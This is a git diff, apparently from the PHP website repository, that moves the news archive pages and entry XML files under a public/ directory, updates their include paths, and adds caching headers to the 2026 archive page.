      diff --git a/archive/2015.php b/public/archive/2015.php similarity index 91% rename from archive/2015.php rename to public/archive/2015.php index b71a865e4b..f99e6a3dd2 100644 --- a/archive/2015.php +++ b/public/archive/2015.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2015.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2015"); ?> diff --git a/archive/2016.php b/public/archive/2016.php similarity index 91% rename from archive/2016.php rename to public/archive/2016.php index 228f0ea9a2..d822712c41 100644 --- a/archive/2016.php +++ b/public/archive/2016.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2016.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2016"); ?> diff --git a/archive/2017.php b/public/archive/2017.php similarity index 90% rename from archive/2017.php rename to public/archive/2017.php index 26e7b5a400..84a6e7b138 100644 --- a/archive/2017.php +++ b/public/archive/2017.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2017.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2017"); ?> diff --git a/archive/2018.php b/public/archive/2018.php similarity index 90% rename from archive/2018.php rename to public/archive/2018.php index 1db8020b7b..f3b97c8cf5 100644 --- a/archive/2018.php +++ b/public/archive/2018.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2018.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2018"); ?> diff --git a/archive/2019.php b/public/archive/2019.php similarity index 90% rename from archive/2019.php rename to public/archive/2019.php index 3538aa2daa..b15ab1171f 100644 --- a/archive/2019.php +++ b/public/archive/2019.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2019.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2019"); ?> diff --git a/archive/2020.php b/public/archive/2020.php similarity index 90% rename from archive/2020.php rename to public/archive/2020.php index 5a469f6cc9..c63b78209e 100644 --- a/archive/2020.php +++ b/public/archive/2020.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2020.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2020"); ?> diff --git a/archive/2021.php b/public/archive/2021.php similarity index 90% rename from archive/2021.php rename to public/archive/2021.php index 1191c7585b..90f06c3de6 100644 --- a/archive/2021.php +++ b/public/archive/2021.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2021.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2021"); ?> diff --git a/archive/2022.php b/public/archive/2022.php similarity index 88% rename from archive/2022.php rename to public/archive/2022.php index abfcee9354..6cf0ad01bc 100644 --- a/archive/2022.php +++ b/public/archive/2022.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2022.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2022"); ?> diff --git a/archive/2023.php b/public/archive/2023.php similarity index 88% rename from archive/2023.php rename to public/archive/2023.php index b6ef8abde9..937d861c41 100644 --- a/archive/2023.php +++ b/public/archive/2023.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2023.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2023"); ?> diff --git a/archive/2024.php b/public/archive/2024.php similarity index 88% rename from archive/2024.php rename to public/archive/2024.php index 9834117665..2accc45caa 100644 --- a/archive/2024.php +++ b/public/archive/2024.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2024.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2024"); ?> diff --git a/archive/2025.php b/public/archive/2025.php similarity index 88% rename from archive/2025.php rename to public/archive/2025.php index 2787ee7d73..a268ee5e3a 100644 --- a/archive/2025.php +++ b/public/archive/2025.php @@ -3,7 +3,7 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2025.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); site_header("News Archive - 2025"); ?> diff --git a/archive/2026.php b/public/archive/2026.php similarity index 53% rename from archive/2026.php rename to public/archive/2026.php index 6e91b33ddc..21c87d4366 100644 --- a/archive/2026.php +++ b/public/archive/2026.php @@ -3,9 +3,14 @@ use phpweb\News\NewsHandler; $_SERVER['BASE_PAGE'] = 'archive/2026.php'; -include_once __DIR__ . '/../include/prepend.inc'; +require_once __DIR__ . '/../../include/prepend.inc'; news_archive_sidebar(); -site_header("News Archive - 2026"); +$news = (new NewsHandler())->getNewsByYear(2026); + +site_header("News Archive - 2026", [ + 'cache' => news_archive_last_modified($news, __FILE__), + 'cache_control' => 15 * 60, +]); ?>

      News Archive - 2026

      @@ -18,5 +23,5 @@ getNewsByYear(2026), null, 500); +print_news($news, null, 500); site_footer(['elephpants' => true, 'sidebar' => $SIDEBAR_DATA]); diff --git a/archive/archive.xml b/public/archive/archive.xml similarity index 93% rename from archive/archive.xml rename to public/archive/archive.xml index bae4eb0657..c47bca03f3 100644 --- a/archive/archive.xml +++ b/public/archive/archive.xml @@ -9,6 +9,63 @@ http://php.net/contact php-webmaster@lists.php.net + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/archive/entries/2015-01-06-1.xml b/public/archive/entries/2015-01-06-1.xml similarity index 100% rename from archive/entries/2015-01-06-1.xml rename to public/archive/entries/2015-01-06-1.xml diff --git a/archive/entries/2015-01-10-1.xml b/public/archive/entries/2015-01-10-1.xml similarity index 100% rename from archive/entries/2015-01-10-1.xml rename to public/archive/entries/2015-01-10-1.xml diff --git a/archive/entries/2015-01-16-1.xml b/public/archive/entries/2015-01-16-1.xml similarity index 100% rename from archive/entries/2015-01-16-1.xml rename to public/archive/entries/2015-01-16-1.xml diff --git a/archive/entries/2015-01-22-1.xml b/public/archive/entries/2015-01-22-1.xml similarity index 100% rename from archive/entries/2015-01-22-1.xml rename to public/archive/entries/2015-01-22-1.xml diff --git a/archive/entries/2015-01-22-2.xml b/public/archive/entries/2015-01-22-2.xml similarity index 100% rename from archive/entries/2015-01-22-2.xml rename to public/archive/entries/2015-01-22-2.xml diff --git a/archive/entries/2015-01-22-3.xml b/public/archive/entries/2015-01-22-3.xml similarity index 100% rename from archive/entries/2015-01-22-3.xml rename to public/archive/entries/2015-01-22-3.xml diff --git a/archive/entries/2015-02-18-1.xml b/public/archive/entries/2015-02-18-1.xml similarity index 100% rename from archive/entries/2015-02-18-1.xml rename to public/archive/entries/2015-02-18-1.xml diff --git a/archive/entries/2015-02-19-1.xml b/public/archive/entries/2015-02-19-1.xml similarity index 100% rename from archive/entries/2015-02-19-1.xml rename to public/archive/entries/2015-02-19-1.xml diff --git a/archive/entries/2015-02-19-2.xml b/public/archive/entries/2015-02-19-2.xml similarity index 100% rename from archive/entries/2015-02-19-2.xml rename to public/archive/entries/2015-02-19-2.xml diff --git a/archive/entries/2015-02-25-1.xml b/public/archive/entries/2015-02-25-1.xml similarity index 100% rename from archive/entries/2015-02-25-1.xml rename to public/archive/entries/2015-02-25-1.xml diff --git a/archive/entries/2015-02-25-2.xml b/public/archive/entries/2015-02-25-2.xml similarity index 100% rename from archive/entries/2015-02-25-2.xml rename to public/archive/entries/2015-02-25-2.xml diff --git a/archive/entries/2015-02-25-3.xml b/public/archive/entries/2015-02-25-3.xml similarity index 100% rename from archive/entries/2015-02-25-3.xml rename to public/archive/entries/2015-02-25-3.xml diff --git a/archive/entries/2015-03-18-1.xml b/public/archive/entries/2015-03-18-1.xml similarity index 100% rename from archive/entries/2015-03-18-1.xml rename to public/archive/entries/2015-03-18-1.xml diff --git a/archive/entries/2015-03-19-1.xml b/public/archive/entries/2015-03-19-1.xml similarity index 100% rename from archive/entries/2015-03-19-1.xml rename to public/archive/entries/2015-03-19-1.xml diff --git a/archive/entries/2015-03-19-2.xml b/public/archive/entries/2015-03-19-2.xml similarity index 100% rename from archive/entries/2015-03-19-2.xml rename to public/archive/entries/2015-03-19-2.xml diff --git a/archive/entries/2015-03-20-1.xml b/public/archive/entries/2015-03-20-1.xml similarity index 100% rename from archive/entries/2015-03-20-1.xml rename to public/archive/entries/2015-03-20-1.xml diff --git a/archive/entries/2015-03-20-2.xml b/public/archive/entries/2015-03-20-2.xml similarity index 100% rename from archive/entries/2015-03-20-2.xml rename to public/archive/entries/2015-03-20-2.xml diff --git a/archive/entries/2015-04-16-1.xml b/public/archive/entries/2015-04-16-1.xml similarity index 100% rename from archive/entries/2015-04-16-1.xml rename to public/archive/entries/2015-04-16-1.xml diff --git a/archive/entries/2015-04-16-2.xml b/public/archive/entries/2015-04-16-2.xml similarity index 100% rename from archive/entries/2015-04-16-2.xml rename to public/archive/entries/2015-04-16-2.xml diff --git a/archive/entries/2015-04-16-3.xml b/public/archive/entries/2015-04-16-3.xml similarity index 100% rename from archive/entries/2015-04-16-3.xml rename to public/archive/entries/2015-04-16-3.xml diff --git a/archive/entries/2015-05-06-1.xml b/public/archive/entries/2015-05-06-1.xml similarity index 100% rename from archive/entries/2015-05-06-1.xml rename to public/archive/entries/2015-05-06-1.xml diff --git a/archive/entries/2015-05-14-1.xml b/public/archive/entries/2015-05-14-1.xml similarity index 100% rename from archive/entries/2015-05-14-1.xml rename to public/archive/entries/2015-05-14-1.xml diff --git a/archive/entries/2015-05-14-2.xml b/public/archive/entries/2015-05-14-2.xml similarity index 100% rename from archive/entries/2015-05-14-2.xml rename to public/archive/entries/2015-05-14-2.xml diff --git a/archive/entries/2015-05-14-3.xml b/public/archive/entries/2015-05-14-3.xml similarity index 100% rename from archive/entries/2015-05-14-3.xml rename to public/archive/entries/2015-05-14-3.xml diff --git a/archive/entries/2015-05-25-1.xml b/public/archive/entries/2015-05-25-1.xml similarity index 100% rename from archive/entries/2015-05-25-1.xml rename to public/archive/entries/2015-05-25-1.xml diff --git a/archive/entries/2015-05-27-1.xml b/public/archive/entries/2015-05-27-1.xml similarity index 100% rename from archive/entries/2015-05-27-1.xml rename to public/archive/entries/2015-05-27-1.xml diff --git a/archive/entries/2015-05-27-2.xml b/public/archive/entries/2015-05-27-2.xml similarity index 100% rename from archive/entries/2015-05-27-2.xml rename to public/archive/entries/2015-05-27-2.xml diff --git a/archive/entries/2015-05-27-3.xml b/public/archive/entries/2015-05-27-3.xml similarity index 100% rename from archive/entries/2015-05-27-3.xml rename to public/archive/entries/2015-05-27-3.xml diff --git a/archive/entries/2015-06-01-1.xml b/public/archive/entries/2015-06-01-1.xml similarity index 100% rename from archive/entries/2015-06-01-1.xml rename to public/archive/entries/2015-06-01-1.xml diff --git a/archive/entries/2015-06-11-1.xml b/public/archive/entries/2015-06-11-1.xml similarity index 100% rename from archive/entries/2015-06-11-1.xml rename to public/archive/entries/2015-06-11-1.xml diff --git a/archive/entries/2015-06-11-2.xml b/public/archive/entries/2015-06-11-2.xml similarity index 100% rename from archive/entries/2015-06-11-2.xml rename to public/archive/entries/2015-06-11-2.xml diff --git a/archive/entries/2015-06-11-3.xml b/public/archive/entries/2015-06-11-3.xml similarity index 100% rename from archive/entries/2015-06-11-3.xml rename to public/archive/entries/2015-06-11-3.xml diff --git a/archive/entries/2015-06-11-4.xml b/public/archive/entries/2015-06-11-4.xml similarity index 100% rename from archive/entries/2015-06-11-4.xml rename to public/archive/entries/2015-06-11-4.xml diff --git a/archive/entries/2015-06-19-1.xml b/public/archive/entries/2015-06-19-1.xml similarity index 100% rename from archive/entries/2015-06-19-1.xml rename to public/archive/entries/2015-06-19-1.xml diff --git a/archive/entries/2015-06-23-1.xml b/public/archive/entries/2015-06-23-1.xml similarity index 100% rename from archive/entries/2015-06-23-1.xml rename to public/archive/entries/2015-06-23-1.xml diff --git a/archive/entries/2015-06-25-1.xml b/public/archive/entries/2015-06-25-1.xml similarity index 100% rename from archive/entries/2015-06-25-1.xml rename to public/archive/entries/2015-06-25-1.xml diff --git a/archive/entries/2015-06-27-1.xml b/public/archive/entries/2015-06-27-1.xml similarity index 100% rename from archive/entries/2015-06-27-1.xml rename to public/archive/entries/2015-06-27-1.xml diff --git a/archive/entries/2015-06-29-1.xml b/public/archive/entries/2015-06-29-1.xml similarity index 100% rename from archive/entries/2015-06-29-1.xml rename to public/archive/entries/2015-06-29-1.xml diff --git a/archive/entries/2015-07-04-1.xml b/public/archive/entries/2015-07-04-1.xml similarity index 100% rename from archive/entries/2015-07-04-1.xml rename to public/archive/entries/2015-07-04-1.xml diff --git a/archive/entries/2015-07-09-1.xml b/public/archive/entries/2015-07-09-1.xml similarity index 100% rename from archive/entries/2015-07-09-1.xml rename to public/archive/entries/2015-07-09-1.xml diff --git a/archive/entries/2015-07-10-1.xml b/public/archive/entries/2015-07-10-1.xml similarity index 100% rename from archive/entries/2015-07-10-1.xml rename to public/archive/entries/2015-07-10-1.xml diff --git a/archive/entries/2015-07-10-2.xml b/public/archive/entries/2015-07-10-2.xml similarity index 100% rename from archive/entries/2015-07-10-2.xml rename to public/archive/entries/2015-07-10-2.xml diff --git a/archive/entries/2015-07-10-3.xml b/public/archive/entries/2015-07-10-3.xml similarity index 100% rename from archive/entries/2015-07-10-3.xml rename to public/archive/entries/2015-07-10-3.xml diff --git a/archive/entries/2015-07-10-4.xml b/public/archive/entries/2015-07-10-4.xml similarity index 100% rename from archive/entries/2015-07-10-4.xml rename to public/archive/entries/2015-07-10-4.xml diff --git a/archive/entries/2015-07-24-1.xml b/public/archive/entries/2015-07-24-1.xml similarity index 100% rename from archive/entries/2015-07-24-1.xml rename to public/archive/entries/2015-07-24-1.xml diff --git a/archive/entries/2015-08-06-1.xml b/public/archive/entries/2015-08-06-1.xml similarity index 100% rename from archive/entries/2015-08-06-1.xml rename to public/archive/entries/2015-08-06-1.xml diff --git a/archive/entries/2015-08-06-2.xml b/public/archive/entries/2015-08-06-2.xml similarity index 100% rename from archive/entries/2015-08-06-2.xml rename to public/archive/entries/2015-08-06-2.xml diff --git a/archive/entries/2015-08-06-3.xml b/public/archive/entries/2015-08-06-3.xml similarity index 100% rename from archive/entries/2015-08-06-3.xml rename to public/archive/entries/2015-08-06-3.xml diff --git a/archive/entries/2015-08-06-4.xml b/public/archive/entries/2015-08-06-4.xml similarity index 100% rename from archive/entries/2015-08-06-4.xml rename to public/archive/entries/2015-08-06-4.xml diff --git a/archive/entries/2015-08-21-1.xml b/public/archive/entries/2015-08-21-1.xml similarity index 100% rename from archive/entries/2015-08-21-1.xml rename to public/archive/entries/2015-08-21-1.xml diff --git a/archive/entries/2015-08-31-1.xml b/public/archive/entries/2015-08-31-1.xml similarity index 100% rename from archive/entries/2015-08-31-1.xml rename to public/archive/entries/2015-08-31-1.xml diff --git a/archive/entries/2015-09-04-1.xml b/public/archive/entries/2015-09-04-1.xml similarity index 100% rename from archive/entries/2015-09-04-1.xml rename to public/archive/entries/2015-09-04-1.xml diff --git a/archive/entries/2015-09-04-2.xml b/public/archive/entries/2015-09-04-2.xml similarity index 100% rename from archive/entries/2015-09-04-2.xml rename to public/archive/entries/2015-09-04-2.xml diff --git a/archive/entries/2015-09-04-3.xml b/public/archive/entries/2015-09-04-3.xml similarity index 100% rename from archive/entries/2015-09-04-3.xml rename to public/archive/entries/2015-09-04-3.xml diff --git a/archive/entries/2015-09-04-4.xml b/public/archive/entries/2015-09-04-4.xml similarity index 100% rename from archive/entries/2015-09-04-4.xml rename to public/archive/entries/2015-09-04-4.xml diff --git a/archive/entries/2015-09-04-5.xml b/public/archive/entries/2015-09-04-5.xml similarity index 100% rename from archive/entries/2015-09-04-5.xml rename to public/archive/entries/2015-09-04-5.xml diff --git a/archive/entries/2015-09-15-1.xml b/public/archive/entries/2015-09-15-1.xml similarity index 100% rename from archive/entries/2015-09-15-1.xml rename to public/archive/entries/2015-09-15-1.xml diff --git a/archive/entries/2015-09-17-2.xml b/public/archive/entries/2015-09-17-2.xml similarity index 100% rename from archive/entries/2015-09-17-2.xml rename to public/archive/entries/2015-09-17-2.xml diff --git a/archive/entries/2015-09-30-1.xml b/public/archive/entries/2015-09-30-1.xml similarity index 100% rename from archive/entries/2015-09-30-1.xml rename to public/archive/entries/2015-09-30-1.xml diff --git a/archive/entries/2015-10-01-1.xml b/public/archive/entries/2015-10-01-1.xml similarity index 100% rename from archive/entries/2015-10-01-1.xml rename to public/archive/entries/2015-10-01-1.xml diff --git a/archive/entries/2015-10-01-2.xml b/public/archive/entries/2015-10-01-2.xml similarity index 100% rename from archive/entries/2015-10-01-2.xml rename to public/archive/entries/2015-10-01-2.xml diff --git a/archive/entries/2015-10-01-3.xml b/public/archive/entries/2015-10-01-3.xml similarity index 100% rename from archive/entries/2015-10-01-3.xml rename to public/archive/entries/2015-10-01-3.xml diff --git a/archive/entries/2015-10-07-1.xml b/public/archive/entries/2015-10-07-1.xml similarity index 100% rename from archive/entries/2015-10-07-1.xml rename to public/archive/entries/2015-10-07-1.xml diff --git a/archive/entries/2015-10-15-1.xml b/public/archive/entries/2015-10-15-1.xml similarity index 100% rename from archive/entries/2015-10-15-1.xml rename to public/archive/entries/2015-10-15-1.xml diff --git a/archive/entries/2015-10-15-2.xml b/public/archive/entries/2015-10-15-2.xml similarity index 100% rename from archive/entries/2015-10-15-2.xml rename to public/archive/entries/2015-10-15-2.xml diff --git a/archive/entries/2015-10-15-3.xml b/public/archive/entries/2015-10-15-3.xml similarity index 100% rename from archive/entries/2015-10-15-3.xml rename to public/archive/entries/2015-10-15-3.xml diff --git a/archive/entries/2015-10-29-1.xml b/public/archive/entries/2015-10-29-1.xml similarity index 100% rename from archive/entries/2015-10-29-1.xml rename to public/archive/entries/2015-10-29-1.xml diff --git a/archive/entries/2015-10-29-2.xml b/public/archive/entries/2015-10-29-2.xml similarity index 100% rename from archive/entries/2015-10-29-2.xml rename to public/archive/entries/2015-10-29-2.xml diff --git a/archive/entries/2015-11-12-1.xml b/public/archive/entries/2015-11-12-1.xml similarity index 100% rename from archive/entries/2015-11-12-1.xml rename to public/archive/entries/2015-11-12-1.xml diff --git a/archive/entries/2015-11-26-1.xml b/public/archive/entries/2015-11-26-1.xml similarity index 100% rename from archive/entries/2015-11-26-1.xml rename to public/archive/entries/2015-11-26-1.xml diff --git a/archive/entries/2015-11-26-2.xml b/public/archive/entries/2015-11-26-2.xml similarity index 100% rename from archive/entries/2015-11-26-2.xml rename to public/archive/entries/2015-11-26-2.xml diff --git a/archive/entries/2015-12-01-1.xml b/public/archive/entries/2015-12-01-1.xml similarity index 100% rename from archive/entries/2015-12-01-1.xml rename to public/archive/entries/2015-12-01-1.xml diff --git a/archive/entries/2015-12-03-1.xml b/public/archive/entries/2015-12-03-1.xml similarity index 100% rename from archive/entries/2015-12-03-1.xml rename to public/archive/entries/2015-12-03-1.xml diff --git a/archive/entries/2015-12-16-1.xml b/public/archive/entries/2015-12-16-1.xml similarity index 100% rename from archive/entries/2015-12-16-1.xml rename to public/archive/entries/2015-12-16-1.xml diff --git a/archive/entries/2015-12-17-1.xml b/public/archive/entries/2015-12-17-1.xml similarity index 100% rename from archive/entries/2015-12-17-1.xml rename to public/archive/entries/2015-12-17-1.xml diff --git a/archive/entries/2016-01-07-1.xml b/public/archive/entries/2016-01-07-1.xml similarity index 100% rename from archive/entries/2016-01-07-1.xml rename to public/archive/entries/2016-01-07-1.xml diff --git a/archive/entries/2016-01-07-2.xml b/public/archive/entries/2016-01-07-2.xml similarity index 100% rename from archive/entries/2016-01-07-2.xml rename to public/archive/entries/2016-01-07-2.xml diff --git a/archive/entries/2016-01-07-3.xml b/public/archive/entries/2016-01-07-3.xml similarity index 100% rename from archive/entries/2016-01-07-3.xml rename to public/archive/entries/2016-01-07-3.xml diff --git a/archive/entries/2016-01-25-1.xml b/public/archive/entries/2016-01-25-1.xml similarity index 100% rename from archive/entries/2016-01-25-1.xml rename to public/archive/entries/2016-01-25-1.xml diff --git a/archive/entries/2016-01-30-1.xml b/public/archive/entries/2016-01-30-1.xml similarity index 100% rename from archive/entries/2016-01-30-1.xml rename to public/archive/entries/2016-01-30-1.xml diff --git a/archive/entries/2016-02-04-1.xml b/public/archive/entries/2016-02-04-1.xml similarity index 100% rename from archive/entries/2016-02-04-1.xml rename to public/archive/entries/2016-02-04-1.xml diff --git a/archive/entries/2016-02-04-2.xml b/public/archive/entries/2016-02-04-2.xml similarity index 100% rename from archive/entries/2016-02-04-2.xml rename to public/archive/entries/2016-02-04-2.xml diff --git a/archive/entries/2016-02-04-3.xml b/public/archive/entries/2016-02-04-3.xml similarity index 100% rename from archive/entries/2016-02-04-3.xml rename to public/archive/entries/2016-02-04-3.xml diff --git a/archive/entries/2016-02-16-1.xml b/public/archive/entries/2016-02-16-1.xml similarity index 100% rename from archive/entries/2016-02-16-1.xml rename to public/archive/entries/2016-02-16-1.xml diff --git a/archive/entries/2016-02-18-1.xml b/public/archive/entries/2016-02-18-1.xml similarity index 100% rename from archive/entries/2016-02-18-1.xml rename to public/archive/entries/2016-02-18-1.xml diff --git a/archive/entries/2016-03-01-1.xml b/public/archive/entries/2016-03-01-1.xml similarity index 100% rename from archive/entries/2016-03-01-1.xml rename to public/archive/entries/2016-03-01-1.xml diff --git a/archive/entries/2016-03-03-1.xml b/public/archive/entries/2016-03-03-1.xml similarity index 100% rename from archive/entries/2016-03-03-1.xml rename to public/archive/entries/2016-03-03-1.xml diff --git a/archive/entries/2016-03-03-2.xml b/public/archive/entries/2016-03-03-2.xml similarity index 100% rename from archive/entries/2016-03-03-2.xml rename to public/archive/entries/2016-03-03-2.xml diff --git a/archive/entries/2016-03-03-3.xml b/public/archive/entries/2016-03-03-3.xml similarity index 100% rename from archive/entries/2016-03-03-3.xml rename to public/archive/entries/2016-03-03-3.xml diff --git a/archive/entries/2016-03-15-1.xml b/public/archive/entries/2016-03-15-1.xml similarity index 100% rename from archive/entries/2016-03-15-1.xml rename to public/archive/entries/2016-03-15-1.xml diff --git a/archive/entries/2016-03-30-1.xml b/public/archive/entries/2016-03-30-1.xml similarity index 100% rename from archive/entries/2016-03-30-1.xml rename to public/archive/entries/2016-03-30-1.xml diff --git a/archive/entries/2016-03-31-1.xml b/public/archive/entries/2016-03-31-1.xml similarity index 100% rename from archive/entries/2016-03-31-1.xml rename to public/archive/entries/2016-03-31-1.xml diff --git a/archive/entries/2016-03-31-2.xml b/public/archive/entries/2016-03-31-2.xml similarity index 100% rename from archive/entries/2016-03-31-2.xml rename to public/archive/entries/2016-03-31-2.xml diff --git a/archive/entries/2016-03-31-3.xml b/public/archive/entries/2016-03-31-3.xml similarity index 100% rename from archive/entries/2016-03-31-3.xml rename to public/archive/entries/2016-03-31-3.xml diff --git a/archive/entries/2016-03-31-4.xml b/public/archive/entries/2016-03-31-4.xml similarity index 100% rename from archive/entries/2016-03-31-4.xml rename to public/archive/entries/2016-03-31-4.xml diff --git a/archive/entries/2016-04-05-1.xml b/public/archive/entries/2016-04-05-1.xml similarity index 100% rename from archive/entries/2016-04-05-1.xml rename to public/archive/entries/2016-04-05-1.xml diff --git a/archive/entries/2016-04-18-1.xml b/public/archive/entries/2016-04-18-1.xml similarity index 100% rename from archive/entries/2016-04-18-1.xml rename to public/archive/entries/2016-04-18-1.xml diff --git a/archive/entries/2016-04-28-1.xml b/public/archive/entries/2016-04-28-1.xml similarity index 100% rename from archive/entries/2016-04-28-1.xml rename to public/archive/entries/2016-04-28-1.xml diff --git a/archive/entries/2016-04-28-2.xml b/public/archive/entries/2016-04-28-2.xml similarity index 100% rename from archive/entries/2016-04-28-2.xml rename to public/archive/entries/2016-04-28-2.xml diff --git a/archive/entries/2016-04-29-1.xml b/public/archive/entries/2016-04-29-1.xml similarity index 100% rename from archive/entries/2016-04-29-1.xml rename to public/archive/entries/2016-04-29-1.xml diff --git a/archive/entries/2016-05-02-1.xml b/public/archive/entries/2016-05-02-1.xml similarity index 100% rename from archive/entries/2016-05-02-1.xml rename to public/archive/entries/2016-05-02-1.xml diff --git a/archive/entries/2016-05-12-1.xml b/public/archive/entries/2016-05-12-1.xml similarity index 100% rename from archive/entries/2016-05-12-1.xml rename to public/archive/entries/2016-05-12-1.xml diff --git a/archive/entries/2016-05-26-1.xml b/public/archive/entries/2016-05-26-1.xml similarity index 100% rename from archive/entries/2016-05-26-1.xml rename to public/archive/entries/2016-05-26-1.xml diff --git a/archive/entries/2016-05-26-2.xml b/public/archive/entries/2016-05-26-2.xml similarity index 100% rename from archive/entries/2016-05-26-2.xml rename to public/archive/entries/2016-05-26-2.xml diff --git a/archive/entries/2016-05-26-3.xml b/public/archive/entries/2016-05-26-3.xml similarity index 100% rename from archive/entries/2016-05-26-3.xml rename to public/archive/entries/2016-05-26-3.xml diff --git a/archive/entries/2016-05-30-1.xml b/public/archive/entries/2016-05-30-1.xml similarity index 100% rename from archive/entries/2016-05-30-1.xml rename to public/archive/entries/2016-05-30-1.xml diff --git a/archive/entries/2016-06-02-1.xml b/public/archive/entries/2016-06-02-1.xml similarity index 100% rename from archive/entries/2016-06-02-1.xml rename to public/archive/entries/2016-06-02-1.xml diff --git a/archive/entries/2016-06-03-1.xml b/public/archive/entries/2016-06-03-1.xml similarity index 100% rename from archive/entries/2016-06-03-1.xml rename to public/archive/entries/2016-06-03-1.xml diff --git a/archive/entries/2016-06-06-1.xml b/public/archive/entries/2016-06-06-1.xml similarity index 100% rename from archive/entries/2016-06-06-1.xml rename to public/archive/entries/2016-06-06-1.xml diff --git a/archive/entries/2016-06-09-1.xml b/public/archive/entries/2016-06-09-1.xml similarity index 100% rename from archive/entries/2016-06-09-1.xml rename to public/archive/entries/2016-06-09-1.xml diff --git a/archive/entries/2016-06-15-1.xml b/public/archive/entries/2016-06-15-1.xml similarity index 100% rename from archive/entries/2016-06-15-1.xml rename to public/archive/entries/2016-06-15-1.xml diff --git a/archive/entries/2016-06-23-1.xml b/public/archive/entries/2016-06-23-1.xml similarity index 100% rename from archive/entries/2016-06-23-1.xml rename to public/archive/entries/2016-06-23-1.xml diff --git a/archive/entries/2016-06-23-2.xml b/public/archive/entries/2016-06-23-2.xml similarity index 100% rename from archive/entries/2016-06-23-2.xml rename to public/archive/entries/2016-06-23-2.xml diff --git a/archive/entries/2016-06-23-3.xml b/public/archive/entries/2016-06-23-3.xml similarity index 100% rename from archive/entries/2016-06-23-3.xml rename to public/archive/entries/2016-06-23-3.xml diff --git a/archive/entries/2016-06-24-1.xml b/public/archive/entries/2016-06-24-1.xml similarity index 100% rename from archive/entries/2016-06-24-1.xml rename to public/archive/entries/2016-06-24-1.xml diff --git a/archive/entries/2016-07-07-1.xml b/public/archive/entries/2016-07-07-1.xml similarity index 100% rename from archive/entries/2016-07-07-1.xml rename to public/archive/entries/2016-07-07-1.xml diff --git a/archive/entries/2016-07-21-1.xml b/public/archive/entries/2016-07-21-1.xml similarity index 100% rename from archive/entries/2016-07-21-1.xml rename to public/archive/entries/2016-07-21-1.xml diff --git a/archive/entries/2016-07-21-2.xml b/public/archive/entries/2016-07-21-2.xml similarity index 100% rename from archive/entries/2016-07-21-2.xml rename to public/archive/entries/2016-07-21-2.xml diff --git a/archive/entries/2016-07-21-3.xml b/public/archive/entries/2016-07-21-3.xml similarity index 100% rename from archive/entries/2016-07-21-3.xml rename to public/archive/entries/2016-07-21-3.xml diff --git a/archive/entries/2016-07-21-4.xml b/public/archive/entries/2016-07-21-4.xml similarity index 100% rename from archive/entries/2016-07-21-4.xml rename to public/archive/entries/2016-07-21-4.xml diff --git a/archive/entries/2016-07-24-1.xml b/public/archive/entries/2016-07-24-1.xml similarity index 100% rename from archive/entries/2016-07-24-1.xml rename to public/archive/entries/2016-07-24-1.xml diff --git a/archive/entries/2016-08-04-1.xml b/public/archive/entries/2016-08-04-1.xml similarity index 100% rename from archive/entries/2016-08-04-1.xml rename to public/archive/entries/2016-08-04-1.xml diff --git a/archive/entries/2016-08-16-1.xml b/public/archive/entries/2016-08-16-1.xml similarity index 100% rename from archive/entries/2016-08-16-1.xml rename to public/archive/entries/2016-08-16-1.xml diff --git a/archive/entries/2016-08-16-2.xml b/public/archive/entries/2016-08-16-2.xml similarity index 100% rename from archive/entries/2016-08-16-2.xml rename to public/archive/entries/2016-08-16-2.xml diff --git a/archive/entries/2016-08-18-1.xml b/public/archive/entries/2016-08-18-1.xml similarity index 100% rename from archive/entries/2016-08-18-1.xml rename to public/archive/entries/2016-08-18-1.xml diff --git a/archive/entries/2016-08-18-2.xml b/public/archive/entries/2016-08-18-2.xml similarity index 100% rename from archive/entries/2016-08-18-2.xml rename to public/archive/entries/2016-08-18-2.xml diff --git a/archive/entries/2016-08-18-3.xml b/public/archive/entries/2016-08-18-3.xml similarity index 100% rename from archive/entries/2016-08-18-3.xml rename to 